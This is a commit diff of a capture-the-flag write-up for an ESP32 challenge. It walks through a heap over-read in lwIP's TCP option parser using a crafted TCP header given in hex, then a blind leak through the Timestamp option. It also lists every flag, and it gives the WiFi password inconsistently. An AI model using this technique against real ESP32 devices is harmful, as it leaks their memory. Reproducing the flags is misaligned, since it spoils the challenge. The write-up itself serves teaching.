write-up: ESP/Phantom_Byte/README.md

This commit is contained in:
Eun0us 2026-03-26 17:33:19 +00:00
parent f1eea0f900
commit 067fcae60f

View File

@ -1,20 +1,75 @@
# Phantom Byte — Writeup # Phantom Byte
| Field | Value |
|-------|-------|
| Category | ESP |
| Difficulty | Multi-part (Easy to Hard) |
| Points | 100 / 200 / 300 / 500 (4 flags) |
| Author | Eun0us |
| CTF | Espilon 2026 |
---
## Description
An ESP32 device was seized during a raid on an underground hackerspace.
It is a relay node for a mesh network called **"The Wire"**.
The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path.
*Peel back the layers. Extract every secret this node is hiding.*
**WiFi:** `Phantom_Node` / `thewire2026`
**Service:** `tcp://192.168.4.1:1337`
*"Close this world. Open the nEXt."*
---
## TL;DR ## TL;DR
4-layer progressive challenge on a real ESP32. Exploit a heap-buffer-overflow Four-layer progressive challenge based on a **real lwIP vulnerability** in
in the device's TCP option parser (based on a real lwIP 0-day). Each layer `tcp_get_next_optbyte()`. Layer 1: read base64 from UART boot log. Layer 2: find
teaches a skill leading to the final blind extraction. a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4:
blind extraction using the TCP Timestamp option as an oracle.
## Reconnaissance ---
1. Flash firmware on ESP32, connect UART at 115200 ## Tools
2. Connect to WiFi AP **Phantom_Node** (password: `thewire2024`)
3. Connect to the debug probe: `nc 192.168.4.1 1337`
## Flag 1 — Signal (100pts) | Tool | Purpose |
|------|---------|
| `esptool.py` | Flash firmware to ESP32 |
| `screen` / `minicom` | Read UART boot log |
| `nc` | Connect to TCP service on port 1337 |
| Python 3 | Automated exploit / solve script |
> *"The node whispers when it wakes."* ---
## Flags Summary
| Flag | Name | Points | Value |
|------|------|--------|-------|
| 1/4 | Signal | 100 | `ESPILON{u4rt_s33s_4ll}` |
| 2/4 | Backdoor | 200 | `ESPILON{h1dd3n_c0nf1g}` |
| 3/4 | Memory Bleed | 300 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` |
| 4/4 | Blind Oracle | 500 | `ESPILON{bl1nd_str4ddl3}` |
---
## Solution
### Setup
Flash firmware, connect to WiFi AP `Phantom_Node` / `thewire2024`, then:
```bash
nc 192.168.4.1 1337
```
---
### Flag 1 — Signal (100 pts)
Monitor the UART output during boot. Among the diagnostic lines: Monitor the UART output during boot. Among the diagnostic lines:
@ -26,23 +81,24 @@ Decode the base64:
```bash ```bash
echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
# ESPILON{u4rt_s33s_4ll}
``` ```
Result: `ESPILON{u4rt_s33s_4ll}` > 📸 `[screenshot: UART terminal showing the base64 diagnostic line on boot]`
Submit over TCP: Submit over TCP:
``` ```text
ph> unlock ESPILON{u4rt_s33s_4ll} ph> unlock ESPILON{u4rt_s33s_4ll}
>> sequence accepted. >> sequence accepted.
>> layer 2 unlocked. you're getting closer to the wire. >> layer 2 unlocked. you're getting closer to the wire.
``` ```
## Flag 2 — Backdoor (200pts) ---
> *"Phantom always leaves a way in."* ### Flag 2 — Backdoor (200 pts)
In layer 2, `help` lists the documented commands. But the `mem` output hints: In layer 2, `help` lists the documented commands. The `mem` output hints:
``` ```
ph> mem ph> mem
@ -55,46 +111,49 @@ And `info` shows:
>> backdoor: [CLASSIFIED] >> backdoor: [CLASSIFIED]
``` ```
Try the hidden command `wire`: The hidden command is `wire`:
``` ```text
ph> wire ph> wire
>> accessing the wire... >> accessing the wire...
>> config_cache dump: >> config_cache dump:
>> ESPILON{h1dd3n_c0nf1g} >> ESPILON{h1dd3n_c0nf1g}
``` ```
> 📸 `[screenshot: wire command revealing the hidden config cache contents]`
Submit: Submit:
``` ```text
ph> unlock ESPILON{h1dd3n_c0nf1g} ph> unlock ESPILON{h1dd3n_c0nf1g}
>> layer 3 unlocked. careful. the deeper you go, the less you come back. >> layer 3 unlocked. careful. the deeper you go, the less you come back.
``` ```
## Flag 3 — Memory Bleed (300pts) ---
> *"The parser reads more than it should."* ### Flag 3 — Memory Bleed (300 pts)
In layer 3, enable debug tracing and inject a crafted TCP SYN: In layer 3, enable debug tracing:
``` ```text
ph> trace on ph> trace on
>> trace enabled. >> trace enabled.
``` ```
Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes): The vulnerability: `tcp_get_next_optbyte()` uses `doff * 4` as the claimed option
length without checking that it stays within the actual received segment bytes. Build
a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present):
``` ```
Byte 12-13: F002 (doff=15, flags=SYN) Bytes 12-13: F002 (doff=15, flags=SYN)
Full: 053900500000000100000000f002ffff00000000
``` ```
Full hex: `053900500000000100000000f002ffff00000000` ```text
```
ph> inject 053900500000000100000000f002ffff00000000 ph> inject 053900500000000100000000f002ffff00000000
``` ```
The trace output shows each byte read by `tcp_get_next_optbyte`: The trace output shows each out-of-bounds byte read from the adjacent `config_cache`:
``` ```
[TRACE] tcp_get_next_optbyte: [TRACE] tcp_get_next_optbyte:
@ -105,70 +164,49 @@ The trace output shows each byte read by `tcp_get_next_optbyte`:
... ...
``` ```
All `<< oob` bytes are reads past the segment into the adjacent config_cache. Convert the oob bytes to ASCII: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
Convert hex to ASCII:
``` > 📸 `[screenshot: trace output showing oob bytes reading the flag from heap]`
0x45=E 0x53=S 0x50=P 0x49=I 0x4c=L 0x4f=O 0x4e=N 0x7b={
0x70=p 0x68=h 0x34=4 0x6e=n 0x74=t 0x30=0 0x6d=m 0x5f=_
0x62=b 0x79=y 0x74=t 0x33=3 0x5f=_ 0x68=h 0x33=3 0x34=4
0x70=p 0x5f=_ 0x6c=l 0x33=3 0x34=4 0x6b=k 0x7d=}
```
Flag: `ESPILON{ph4nt0m_byt3_h34p_l34k}` ---
## Flag 4 — Blind Oracle (500pts) ### Flag 4 — Blind Oracle (500 pts)
> *"The protocol itself is your oracle."*
Disable trace output — no more per-byte visibility: Disable trace output — no more per-byte visibility:
``` ```text
ph> trace off ph> trace off
``` ```
The vulnerability still exists, but now the only feedback is the **parsed The vulnerability still exists, but now the only feedback is the **parsed option
option values**. Use the TCP Timestamp option (kind=8, len=10) to straddle values** emitted as structured output. Use the TCP Timestamp option (kind=8, len=10)
the segment boundary: to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB
heap memory, but their values are returned as decimal numbers in the response.
**Technique**: Place the Timestamp kind+len as the last 2 in-bounds bytes. **Extraction technique:**
The 8 data bytes (TSval: 4B + TSecr: 4B) are read from OOB heap memory.
### Extraction Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes
are read from the adjacent flag buffer.
**Chunk 1** (flag bytes 0-7): seg_size=32, doff=10 - Chunk 1 (bytes 07): `>> opt: TS=1163150159/1280267387`
- `1163150159 = 0x45535049``ESPI`
- `1280267387 = 0x4C4F4E7B``LON{`
``` - Chunk 2 (bytes 815): decode TSval/TSecr → `bl1n` / `d_st`
ph> inject <crafted_hex>
>> opt: TS=1163150159/1280267387
```
Decode: `1163150159``0x45535049``ESPI`, `1280267387``0x4c4f4e7b``LON{` - Chunk 3 (bytes 1622): decode TSval/TSecr → `r4dd` / `l3}\x00`
**Chunk 2** (flag bytes 8-15): seg_size=40, doff=12
Decode TSval/TSecr → `bl1n` / `d_st`
**Chunk 3** (flag bytes 16-22): seg_size=48, doff=14
Decode TSval/TSecr → `r4dd` / `l3}\x00`
Reconstruct: `ESPILON{bl1nd_str4ddl3}` Reconstruct: `ESPILON{bl1nd_str4ddl3}`
## Automated Solver > 📸 `[screenshot: inject command returning TS values that decode to flag bytes]`
Automated solver:
```bash ```bash
python3 solve.py 192.168.4.1 1337 python3 solve.py 192.168.4.1 1337
``` ```
## Flags ---
| # | Flag | Points |
|---|------|--------|
| 1 | `ESPILON{u4rt_s33s_4ll}` | 100 |
| 2 | `ESPILON{h1dd3n_c0nf1g}` | 200 |
| 3 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` | 300 |
| 4 | `ESPILON{bl1nd_str4ddl3}` | 500 |
## Real-world Context ## Real-world Context
@ -176,3 +214,12 @@ This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF
The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option
index stays within the pbuf's actual payload length. A remote attacker can send a crafted index stays within the pbuf's actual payload length. A remote attacker can send a crafted
TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory. TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.
---
## Flag
- Flag 1: `ESPILON{u4rt_s33s_4ll}`
- Flag 2: `ESPILON{h1dd3n_c0nf1g}`
- Flag 3: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
- Flag 4: `ESPILON{bl1nd_str4ddl3}`